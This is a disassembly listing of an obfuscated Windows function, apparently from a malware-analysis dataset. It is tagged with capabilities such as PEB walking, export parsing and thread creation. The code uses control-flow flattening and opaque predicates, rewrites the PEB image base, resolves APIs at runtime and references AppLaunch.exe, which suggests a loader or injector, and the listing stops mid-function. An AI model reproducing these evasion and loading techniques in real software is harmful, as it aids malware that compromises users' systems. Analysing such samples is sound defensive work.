Function at 0x401770
Capabilities:
Access peb ldr_data
Check os version
Create thread
Get number of processors
Link function at runtime on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x4828c
call fcn.0043a540
mov eax, dword [0x4ac2c0]
lea esi, [esp + 0x288]
xor eax, esp
mov dword [esp + 0x48288], eax
push 0x48000
push 0x459220
push esi
call fcn.0043d3b0
add esp, 0xc
push 0x48000
push esi
call fcn.00401530
add esp, 8
lea eax, [esp + 0x2c4]
mov dword [esp + 0xcc], esi
mov dword [esp + 0xd0], eax
mov eax, 0x445d7ea6
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x7c52728c
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x2c98b98
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
nop dword [eax]
cmp eax, 0x49fe7e
jle 0x401880
cmp eax, 0x45f5213f
jle 0x4018f0
cmp eax, 0x656a4876
jle 0x4019de
cmp eax, 0x720bad40
jg 0x401b7e
cmp eax, 0x6c674c1b
jle 0x401e3d
cmp eax, 0x6f868343
jg 0x4022f7
cmp eax, 0x6dab6ae4
jle 0x402bc7
cmp eax, 0x6dab6ae5
je 0x4039ae
cmp eax, 0x6e51bd21
je 0x4039b8
cmp eax, 0x6ee2b3ca
jne 0x401810
mov eax, 0x5b0ed9bc
jmp 0x401810
cmp eax, 0xc277394a
jg 0x401960
cmp eax, 0xa17352bb
jle 0x401a5d
cmp eax, 0xb3d9e423
jle 0x401be6
cmp eax, 0xba23b76b
jle 0x401e7e
cmp eax, 0xbf572abf
jg 0x402349
cmp eax, 0xbb4e43a2
jle 0x402c3d
cmp eax, 0xbb4e43a3
je 0x4039d3
cmp eax, 0xbcb29cf5
je 0x403a35
cmp eax, 0xbe95dd56
jne 0x401810
mov eax, 0x768693e7
jmp 0x401810
cmp eax, 0x23da52ec
jg 0x401ab4
cmp eax, 0x1098eaa8
jle 0x401c41
cmp eax, 0x1b0b8f91
jle 0x401ece
cmp eax, 0x1ed292c7
jg 0x40239b
cmp eax, 0x1df9945c
jle 0x402c65
cmp eax, 0x1df9945d
je 0x403a3f
cmp eax, 0x1e2fadea
je 0x403a7b
cmp eax, 0x1e86ded1
jne 0x401810
mov eax, 0x18d333a7
jmp 0x401810
cmp eax, 0xe0189bed
jg 0x401b0b
cmp eax, 0xcedde9e6
jle 0x401c8d
cmp eax, 0xda60b9bb
jle 0x401f1e
cmp eax, 0xdbf705b3
jg 0x4023d1
cmp eax, 0xdab19a91
jle 0x402cad
cmp eax, 0xdab19a92
je 0x403a93
cmp eax, 0xdba4e8ac
je 0x403a9d
cmp eax, 0xdba84a7b
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x1df9945d
mov ebx, 0x7087e5c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7087e5c
jmp 0x404e9e
cmp eax, 0x56ed82d8
jle 0x401cd9
cmp eax, 0x5f260b38
jle 0x401f66
cmp eax, 0x627dfad7
jg 0x40240f
cmp eax, 0x60c98ba9
jle 0x402ccd
cmp eax, 0x60c98baa
je 0x403ac3
cmp eax, 0x6138c0c0
je 0x403ada
cmp eax, 0x62029dc1
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x62f39e6c
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9bd8beff
jmp 0x4017fd
cmp eax, 0x9166503a
jle 0x401d25
cmp eax, 0x990344ad
jle 0x401fb4
cmp eax, 0x9bd8befe
jg 0x402482
cmp eax, 0x9a4a357e
jle 0x402ced
cmp eax, 0x9a4a357f
je 0x403b00
cmp eax, 0x9af3fdf7
je 0x403b15
cmp eax, 0x9b2ba242
jne 0x401810
mov eax, 0xff596386
jmp 0x401810
cmp eax, 0x3b892fc4
jle 0x401d7e
cmp eax, 0x41d00376
jle 0x401ff5
cmp eax, 0x44436130
jg 0x4024b8
cmp eax, 0x42b999a9
jle 0x402d26
cmp eax, 0x42b999aa
je 0x403b2a
cmp eax, 0x43578fae
je 0x403b5e
cmp eax, 0x438c087e
jne 0x401810
mov eax, 0x9cc535e2
jmp 0x401810
cmp eax, 0xeb0b4eac
jle 0x401de0
cmp eax, 0xf643d435
jle 0x40204b
cmp eax, 0xfb92298b
jg 0x4024ee
cmp eax, 0xf8b43f8e
jle 0x402d70
cmp eax, 0xf8b43f8f
je 0x403b8e
cmp eax, 0xf9664209
je 0x403b9f
cmp eax, 0xfb019759
jne 0x401810
mov eax, dword [esp + 0xf0]
add eax, 0x18
mov dword [esp + 0xf4], eax
movzx eax, word [ebp + 0x14]
mov dword [esp + 0xf8], eax
mov eax, 0x44482c00
jmp 0x401810
cmp eax, 0x7a0824ab
jle 0x4020b4
cmp eax, 0x7c52728b
jg 0x402540
cmp eax, 0x7b25c468
jle 0x402d9f
cmp eax, 0x7b25c469
je 0x403bd3
cmp eax, 0x7b818a4c
je 0x403bdd
cmp eax, 0x7be232d8
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xba23b76c
mov edi, 0xd03d26e2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd03d26e2
jmp 0x404b21
cmp eax, 0xaad1360e
jg 0x4020f5
cmp eax, 0xa75809b1
jg 0x4025a7
cmp eax, 0xa42da86a
jle 0x402deb
cmp eax, 0xa42da86b
je 0x403c0f
cmp eax, 0xa6fd98e4
je 0x403c19
cmp eax, 0xa7390c47
jne 0x401810
mov eax, dword [esp + 0x38]
mov eax, dword [eax]
add eax, esi
mov dword [esp + 0x8c], eax
mov eax, 0x4fa9ae07
jmp 0x401810
cmp eax, 0x6699985
jg 0x402143
cmp eax, 0x2c98b97
jle 0x4025fa
cmp eax, 0x3a39618
jle 0x402e18
cmp eax, 0x3a39619
je 0x403c23
cmp eax, 0x4737354
je 0x403c49
cmp eax, 0x5edb690
jne 0x401810
mov eax, 0x60c98baa
jmp 0x401810
cmp eax, 0xc8e3c316
jg 0x402199
cmp eax, 0xc65640bb
jle 0x40263f
cmp eax, 0xc8168822
jle 0x402e60
cmp eax, 0xc8168823
je 0x403c53
cmp eax, 0xc827eea8
je 0x403c6a
cmp eax, 0xc8c92046
jne 0x401810
mov eax, 0x6c2e2c3c
jmp 0x401810
cmp eax, 0x4c1da30e
jg 0x4021e5
cmp eax, 0x49d09dce
jle 0x40266a
cmp eax, 0x4a9e3633
jle 0x402e95
cmp eax, 0x4a9e3634
je 0x403c7f
cmp eax, 0x4b041144
je 0x403ca5
cmp eax, 0x4b7281f7
jne 0x401810
mov eax, 0x1e2fadea
jmp 0x401810
cmp eax, 0x8d332f01
jg 0x40222d
cmp eax, 0x8975eff6
jle 0x40269d
cmp eax, 0x8a760f83
jle 0x402eb5
cmp eax, 0x8a760f84
je 0x403caf
cmp eax, 0x8bf3ee74
je 0x403cdc
cmp eax, 0x8c059e89
jne 0x401810
cmp byte [esp + 0x21], 0
mov eax, 0x32235b8c
mov ecx, 0xff596386
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x2ddcebb8
jg 0x40226e
cmp eax, 0x299b63ef
jle 0x4026e4
cmp eax, 0x2a71e010
jle 0x402ee9
cmp eax, 0x2a71e011
je 0x403d16
cmp eax, 0x2cc74e05
je 0x403d41
cmp eax, 0x2dc892ac
jne 0x401810
mov eax, dword [esp + 0x11c]
mov ecx, 0xb57a48e9
cmp eax, dword [esp + 0x124]
mov eax, 0xced9f90
cmove eax, ecx
jmp 0x401810
cmp eax, 0xe54f7a43
jg 0x4022af
cmp eax, 0xe1f92765
jle 0x40271b
cmp eax, 0xe41faeda
jle 0x402f09
cmp eax, 0xe41faedb
je 0x403d52
cmp eax, 0xe4332fcb
je 0x403d5c
cmp eax, 0xe482abb3
jne 0x401810
mov ecx, dword [esp + 0x2c]
mov eax, dword [ecx]
mov dword [esp + 0x6c], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x60], eax
mov eax, 0x5789d11d
jmp 0x401810
cmp eax, 0x679a6f67
jle 0x40275b
cmp eax, 0x6b241d38
jle 0x402f42
cmp eax, 0x6b241d39
je 0x403d66
cmp eax, 0x6c1d9079
je 0x403d9a
cmp eax, 0x6c2e2c3c
jne 0x401810
mov eax, 0xb57a48e9
jmp 0x401810
cmp eax, 0xb55febc0
jle 0x40278e
cmp eax, 0xb6cde0fa
jle 0x402fa6
cmp eax, 0xb6cde0fb
je 0x403dd3
cmp eax, 0xb78d509e
je 0x403ddd
cmp eax, 0xb8c5ad76
jne 0x401810
mov eax, dword [esp + 0x70]
mov ecx, 0xe83ab2f6
cmp eax, 0xc
mov eax, 0x4a9e3634
cmove eax, ecx
jmp 0x401810
cmp eax, 0x155e8c41
jle 0x4027b9
cmp eax, 0x18d333a6
jle 0x402fd2
cmp eax, 0x18d333a7
je 0x403e22
cmp eax, 0x190d7a60
je 0x403e2c
cmp eax, 0x19404976
jne 0x401810
mov eax, dword [esp + 0x148]
inc eax
mov dword [esp + 0x14c], eax
mov eax, 0x2ddcebb9
jmp 0x401810
cmp eax, 0xd23a0052
jle 0x4027f1
cmp eax, 0xd49c7ceb
jle 0x402ffd
cmp eax, 0xd49c7cec
je 0x403e36
cmp eax, 0xd5462823
je 0x403e40
cmp eax, 0xd733f4ca
jne 0x401810
mov dword [esp], 0xc
mov eax, 0xcdb93029
jmp 0x401810
cmp eax, 0x5b0ed9bb
jle 0x40281c
cmp eax, 0x5b4c0590
jle 0x403045
cmp eax, 0x5b4c0591
je 0x403e4a
cmp eax, 0x5be96f25
je 0x403e7c
cmp eax, 0x5efc072a
jne 0x401810
cmp dword [esp + 0x70], 0
mov eax, 0x4a9e3634
mov ecx, 0xc70d3a88
cmove eax, ecx
jmp 0x401810
cmp eax, 0x94159806
jle 0x4028b5
cmp eax, 0x94d8466f
jle 0x4030a8
cmp eax, 0x94d84670
je 0x403e8d
cmp eax, 0x95eb357e
je 0x403ea1
cmp eax, 0x9771be93
jne 0x401810
mov eax, 0x3d7dc5c3
jmp 0x401810
cmp eax, 0x3e38b136
jle 0x4028e7
cmp eax, 0x400b508f
jle 0x4030cf
cmp eax, 0x400b5090
je 0x403ed5
cmp eax, 0x41325aa7
je 0x403eec
cmp eax, 0x41610f28
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0x298d2674
mov edi, 0x943bbc96
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x943bbc96
jmp 0x404b19
cmp eax, 0xeec99f20
jle 0x40292e
cmp eax, 0xefd6a35a
jle 0x403104
cmp eax, 0xefd6a35b
je 0x403ef6
cmp eax, 0xf3a5cf66
je 0x403f00
cmp eax, 0xf3b3389d
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x42b999aa
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4737354
jmp 0x4017fd
cmp eax, 0x73665aa9
jle 0x402959
cmp eax, 0x762bdaef
jle 0x403136
cmp eax, 0x762bdaf0
je 0x403f0a
cmp eax, 0x768693e7
je 0x403f3c
cmp eax, 0x778b00c0
jne 0x401810
mov eax, 0x6ac8ed68
jmp 0x401810
cmp eax, 0xb0406611
jle 0x4029b2
cmp eax, 0xb10b5f11
jle 0x403156
cmp eax, 0xb10b5f12
je 0x403f5b
cmp eax, 0xb267887f
je 0x403f7e
cmp eax, 0xb3327365
jne 0x401810
cmp byte [esp + 0x25], 0
mov eax, 0x299b63f0
mov ecx, 0xc827eea8
cmovne eax, ecx
jmp 0x401810
cmp eax, 0xced9f8f
jle 0x402a0d
cmp eax, 0xe9e7ff1
jle 0x403194
cmp eax, 0xe9e7ff2
je 0x403fef
cmp eax, 0xecfa222
je 0x403ff9
cmp eax, 0xfb17406
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x7a0824ac
mov ebx, 0xa4d2b33
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa4d2b33
jmp 0x404e96
cmp eax, 0xccfc01ac
jle 0x402a38
cmp eax, 0xce222750
jle 0x4031b4
cmp eax, 0xce222751
je 0x404045
cmp eax, 0xce6905ba
je 0x404066
cmp eax, 0xceab4bd2
jne 0x401810
mov eax, dword [esp + 0x14]
mov dword [esp + 0x188], eax
mov eax, 0x9a0b0855
jmp 0x401810
cmp eax, 0x51da23ce
jle 0x402a7b
cmp eax, 0x53eb0e1f
jle 0x4031f0
cmp eax, 0x53eb0e20
je 0x40407b
cmp eax, 0x54e2e28d
je 0x404085
cmp eax, 0x56e7fde8
jne 0x401810
mov dword [esp + 0x94], ebp
mov eax, 0xfb17406
jmp 0x401810
cmp eax, 0x8db15868
jle 0x402b14
cmp eax, 0x8f4166e2
jle 0x403210
cmp eax, 0x8f4166e3
je 0x4040b7
cmp eax, 0x8fa5314d
je 0x4040c1
cmp eax, 0x90728e2e
jne 0x401810
mov eax, 0x3d4e2da5
jmp 0x401810
cmp eax, 0x32235b8b
jle 0x402b3f
cmp eax, 0x345ebb6c
jle 0x403240
cmp eax, 0x345ebb6d
je 0x4040cb
cmp eax, 0x389ffc8a
je 0x4040d5
cmp eax, 0x3b262995
jne 0x401810
mov eax, 0xaf19ca4c
jmp 0x401810
cmp eax, 0xe71835d4
jle 0x402b95
cmp eax, 0xe83ab2f5
jle 0x403267
cmp eax, 0xe83ab2f6
je 0x4040df
cmp eax, 0xe99a4bc9
je 0x4040ed
cmp eax, 0xe9ffb4c0
jne 0x401810
mov ebp, dword [esp + 0x90]
mov eax, 0xd396ab5a
jmp 0x401810
cmp eax, 0x702753b8
jle 0x4032a3
cmp eax, 0x702753b9
je 0x4040f7
cmp eax, 0x709cc7ce
je 0x404108
cmp eax, 0x715e1cb1
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0x6fefbbbb
mov edi, 0x51da23cf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x51da23cf
jmp 0x404b21
cmp eax, 0xbf968165
jle 0x4032f5
cmp eax, 0xbf968166
je 0x40412e
cmp eax, 0xc19c65fd
je 0x404146
cmp eax, 0xc1fcf139
jne 0x401810
mov eax, dword [esp + 0x180]
mov edx, 0x2e92a988
movzx eax, word [eax + 2]
mov ecx, dword [esp + 0x17c]
cmp ecx, eax
mov eax, 0xb3d9e424
cmovl eax, edx
jmp 0x401810
cmp eax, 0x22312647
jle 0x40333d
cmp eax, 0x22312648
je 0x404150
cmp eax, 0x22d5acc7
je 0x404182
cmp eax, 0x23c85f89
jne 0x401810
mov eax, 0x1572e594
jmp 0x401810
cmp eax, 0xdcc7ceaf
jle 0x403368
cmp eax, 0xdcc7ceb0
je 0x4041b4
cmp eax, 0xdef29aa9
je 0x4041c8
cmp eax, 0xdfdd1693
jne 0x401810
mov dword [esp + 0x28], 0x20
mov eax, 0x1e86ded1
jmp 0x401810
cmp eax, 0x646ef387
jle 0x403388
cmp eax, 0x646ef388
je 0x4041dd
cmp eax, 0x64814091
je 0x4041e7
cmp eax, 0x6562d832
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0x7591ca11
mov edi, 0x73665aaa
mov dword [esp + 0x44], 1
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x73665aaa
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ae40c], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401810
cmp eax, 0x9d9d4796
jle 0x4033a8
cmp eax, 0x9d9d4797
je 0x404219
cmp eax, 0x9ee97514
je 0x404238
cmp eax, 0x9f02d378
jne 0x401810
mov eax, 0x646ef388
jmp 0x401810
cmp eax, 0x445d7ea5
jle 0x4033dd
cmp eax, 0x445d7ea6
je 0x404242
cmp eax, 0x44cbfab0
je 0x404263
cmp eax, 0x4524a3a9
jne 0x401810
mov eax, 0xe0189bee
jmp 0x401810
cmp eax, 0xfe454336
jle 0x403417
cmp eax, 0xfe454337
je 0x4042b3
cmp eax, 0xff596386
je 0x4042bd
cmp eax, 0x98d1c
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xa42da86b
mov edi, 0x389ffc8a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x389ffc8a
jmp 0x404b21
cmp eax, 0x7eaa84d9
jle 0x403455
cmp eax, 0x7eaa84da
je 0x4042fc
cmp eax, 0x7f23508c
je 0x404327
cmp eax, 0x7f3b3300
jne 0x401810
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0x98]
mov ebx, 0x656a4877
mov edi, 0xd23a0053
cmp ecx, dword [eax]
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
setb byte [esp + 0x1e]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd23a0053
jmp 0x404b21
cmp eax, 0xa8a37c36
jg 0x403491
cmp eax, 0xa7a793ee
je 0x404331
cmp eax, 0xa822c375
jne 0x404f76
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x6562d832
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x73665aaa
jmp 0x4017fd
cmp eax, 0x1f7aca7
jg 0x4034b9
cmp eax, 0x49fe7f
je 0x40433b
cmp eax, 0x52387d
jne 0x401810
mov eax, dword [esp + 0x128]
add eax, dword [esp + 0x12c]
mov dword [esp + 0x68], 0
mov dword [esp + 0x38], eax
mov eax, 0x5b0ed9bc
jmp 0x401810
cmp eax, 0xc4d03770
jg 0x4034ea
cmp eax, 0xc277394b
je 0x404345
cmp eax, 0xc379e2c1
jne 0x401810
mov eax, 0xe83ab2f6
jmp 0x401810
cmp eax, 0x48073981
jg 0x40350a
cmp eax, 0x45f52140
je 0x40436b
cmp eax, 0x464d7d9a
jne 0x401810
mov dword [esp + 0x28], 4
mov eax, 0x6699986
jmp 0x401810
cmp eax, 0x8681a35b
jg 0x403546
cmp eax, 0x82c4571f
je 0x404375
cmp eax, 0x82ea0759
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0x3d7dc5c3
mov edi, 0x9771be93
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9771be93
jmp 0x404b21
cmp eax, 0x28c44b30
jg 0x403582
cmp eax, 0x23da52ed
je 0x40437f
cmp eax, 0x28b12c62
jne 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xb0406612
jmp 0x4049b9
cmp eax, 0xe0ff1b03
jg 0x4035e4
cmp eax, 0xe0189bee
je 0x4043b1
cmp eax, 0xe0d820ab
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x4fa9ae07
mov ebx, 0xa7390c47
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xa7390c47
jmp 0x404e96
cmp eax, 0x65f5c88a
jg 0x40362f
cmp eax, 0x656a4877
je 0x4043fe
cmp eax, 0x657b0e74
jne 0x401810
cmp dword [esp + 0x184], 0
mov eax, 0x94d84670
jmp 0x402d19
cmp eax, 0xb4a93baa
jg 0x40365b
cmp eax, 0xb3d9e424
je 0x404415
cmp eax, 0xb481934f
jne 0x401810
mov eax, 0xdcc7ceb0
jmp 0x401810
cmp eax, 0x132f7b09
jg 0x403689
cmp eax, 0x1098eaa9
je 0x404426
cmp eax, 0x132ed267
jne 0x401810
cmp byte [esp + 0x20], 0
mov eax, 0x702753b9
mov ecx, 0x8681a35c
cmovne eax, ecx
jmp 0x401810
cmp eax, 0xcfcd093f
jg 0x4036a9
cmp eax, 0xcedde9e7
je 0x404445
cmp eax, 0xcf584995
jne 0x401810
mov eax, 0x45f52140
jmp 0x401810
cmp eax, 0x5a08407b
jg 0x4036dc
cmp eax, 0x56ed82d9
je 0x40446b
cmp eax, 0x5789d11d
jne 0x401810
mov dword [esp + 0xc4], esi
mov esi, ebp
mov ebp, dword [esp + 0x2c]
mov ebx, 0x29afa1b1
mov edi, 0xe482abb3
mov eax, dword [ebp]
mov dword [esp + 0x6c], eax
mov eax, dword [0x4ae410]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xe482abb3
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4ae40c], 0xa
cmovge eax, edi
mov edi, dword [ebp + 4]
mov dword [esp + 0x1a4], ebp
mov ebp, esi
mov esi, dword [esp + 0xc4]
setl dl
xor dl, cl
lea edx, [esp + 0x210]
mov dword [esp + 0x1a0], edx
cmovne eax, ebx
mov dword [esp + 0x60], edi
jmp 0x401810
cmp eax, 0x9374f51a
jg 0x403712
cmp eax, 0x9166503b
je 0x4044b1
cmp eax, 0x923b2f02
jne 0x401810
mov eax, 0x5b4c0591
mov dword [esp], 5
jmp 0x401810
cmp eax, 0x3d7dc5c2
jg 0x40373d
cmp eax, 0x3b892fc5
je 0x4044d9
cmp eax, 0x3d4e2da5
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x679a6f68
mov ebx, 0x41325aa7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x41325aa7
jmp 0x404e9e
cmp eax, 0xee35567c
jg 0x403785
cmp eax, 0xeb0b4ead
je 0x4044f0
cmp eax, 0xebd6df3d
jne 0x401810
mov eax, 0xdba4e8ac
jmp 0x401810
cmp eax, 0x725b9db7
jg 0x4037cd
cmp eax, 0x720bad41
je 0x404505
cmp eax, 0x7253bd53
jne 0x401810
mov ecx, dword [esp + 0x14]
mov ebx, 0x82c4571f
mov edi, 0xe71835d5
mov eax, ecx
xor eax, 0xbfffffff
test eax, ecx
mov eax, dword [0x4ae410]
setne byte [esp + 0x25]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe71835d5
jmp 0x404b21
cmp eax, 0xae6297e3
jg 0x403808
cmp eax, 0xaad1360f
je 0x404527
cmp eax, 0xac8eff9f
jne 0x401810
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov edi, 0x132ed267
mov ebx, 0xb510227a
lea ecx, [ecx + ecx*4]
cmp dword [eax + ecx*4 + 0x10], 0
mov eax, dword [0x4ae410]
lea ecx, [eax - 1]
setne byte [esp + 0x20]
imul ecx, eax
mov eax, 0xb510227a
jmp 0x404e96
cmp eax, 0x8e3cc69
jg 0x403873
cmp eax, 0x6699986
je 0x40453e
cmp eax, 0x7087e5c
jne 0x401810
mov eax, 0x1df9945d
jmp 0x401810
cmp eax, 0xcc559b7c
jg 0x40389a
cmp eax, 0xc8e3c317
je 0x404564
cmp eax, 0xcc2f02d3
jne 0x401810
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xe4]
cmp ecx, dword [eax]
mov eax, 0x5be96f25
mov ecx, 0xccfc01ad
cmove eax, ecx
jmp 0x401810
cmp eax, 0x4f050572
jg 0x4038cb
cmp eax, 0x4c1da30f
je 0x404596
cmp eax, 0x4d77f0cf
jne 0x401810
vmovups ymm0, ymmword [0x4a1278]
vmovups ymm1, ymmword [0x4a1260]
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xbc]
vmovups ymm2, ymmword [0x4a1240]
mov dword [eax], ecx
mov eax, dword [esp + 0x84]
vmovups ymmword [esp + 0x268], ymm0
vmovups ymmword [esp + 0x250], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [esp + 0x230], ymm2
add eax, 0x24
mov dword [esp + 0x2c], eax
mov eax, 0x725b9db8
vmovups ymmword [esp + 0x210], ymm1
cmp dword [ebp + 0xe8], 0
setne byte [esp + 7]
jmp 0x401810
cmp eax, 0x8d8dafe0
jg 0x403923
cmp eax, 0x8d332f02
je 0x4045a0
cmp eax, 0x8d8934b3
jne 0x401810
mov eax, 0x86d3617b
jmp 0x401810
cmp eax, 0x2f2ea695
jg 0x403966
cmp eax, 0x2ddcebb9
je 0x4045aa
cmp eax, 0x2e92a988
jne 0x401810
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x28], 0x40
lea eax, [eax + eax*4]
mov ecx, dword [ecx + eax*8 + 0x24]
mov eax, ecx
xor eax, 0xbfffffff
mov dword [esp + 0x14], ecx
and eax, ecx
mov dword [esp + 0x184], eax
mov eax, 0x657b0e74
jmp 0x401810
cmp eax, 0xe66c27b8
jg 0x40398e
cmp eax, 0xe54f7a44
je 0x4045bf
cmp eax, 0xe5c8cc57
jne 0x401810
mov dword [esp], 1
mov eax, 0xecfa222
jmp 0x401810
cmp eax, 0x6c674c1c
je 0x404622
cmp eax, 0x6c7652df
jne 0x401810
push 0xffffffffffffffff
push dword [esp + 0x7c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x9166503b
mov dword [esp + 0x44], 0
mov dword [esp], 1
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf3a5cf66
cmovne edi, ebx
test eax, edx
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401810
cmp eax, 0xba23b76c
je 0x40462c
cmp eax, 0xba49861c
jne 0x401810
mov dword [esp + 0x28], 0x40
mov eax, 0x5b4661b7
jmp 0x401810
cmp eax, 0x1b0b8f92
je 0x404681
cmp eax, 0x1c2877fa
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xe54f7a44
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x28c44b31
jmp 0x4017fd
cmp eax, 0xda60b9bc
je 0x40468b
cmp eax, 0xda96241f
jne 0x401810
mov eax, 0xb0406612
jmp 0x401810
cmp eax, 0x5f260b39
je 0x4046a2
cmp eax, 0x60634fa4
jne 0x401810
mov eax, 0xa8a37c37
jmp 0x401810
cmp eax, 0x990344ae
je 0x4046b7
cmp eax, 0x9a0b0855
jne 0x401810
mov eax, dword [esp + 0x188]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0xee8769a3
mov ecx, 0x65f5c88b
cmove eax, ecx
jmp 0x401810
cmp eax, 0x41d00377
je 0x4046ec
cmp eax, 0x42b71bce
jne 0x401810
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx + 0x14]
mov dword [eax + 8], esi
mov dword [esp + 0xbc], esi
mov eax, 0xcc559b7d
lea edx, [ecx - 8]
add ecx, 0x10
mov dword [esp + 0x84], edx
mov dword [esp + 0xc0], ecx
jmp 0x401810
cmp eax, 0xf643d436
je 0x4046f6
cmp eax, 0xf6ce2751
jne 0x401810
mov eax, dword [esp + 0x70]
mov ecx, 0x5efc072a
cmp eax, 0xc
mov eax, 0xb8c5ad76
cmovl eax, ecx
jmp 0x401810
cmp eax, 0x7a0824ac
je 0x404700
cmp eax, 0x7ae855d4
jne 0x401810
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x4c]
movzx eax, word [eax + ecx*4]
push eax
push dword [esp + 0x68]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x5c], eax
mov eax, 0xbb4e43a3
jmp 0x401810
cmp eax, 0xa17352bc
je 0x404753
cmp eax, 0xa268435b
jne 0x401810
cmp byte [esp + 0x24], 0
mov eax, 0x132f7b0a
mov ecx, 0x464d7d9a
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x2c98b98
je 0x404787
cmp eax, 0x336cca6
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xb267887f
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7eaa84da
jmp 0x4017fd
cmp eax, 0xc65640bc
je 0x404791
cmp eax, 0xc70d3a88
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0x86d3617b
mov edi, 0x8d8934b3
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x8d8934b3
jmp 0x404b19
cmp eax, 0x49d09dcf
je 0x4047cc
cmp eax, 0x4a46b55c
jne 0x401810
mov eax, 0xe3300db8
jmp 0x401810
cmp eax, 0x8975eff7
je 0x4047f3
cmp eax, 0x8a63143d
jne 0x401810
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x10]
mov eax, dword [eax + ecx*4]
add eax, esi
mov dword [esp + 0xb8], eax
mov eax, 0x54e2e28d
jmp 0x401810
cmp eax, 0x299b63f0
je 0x4047fd
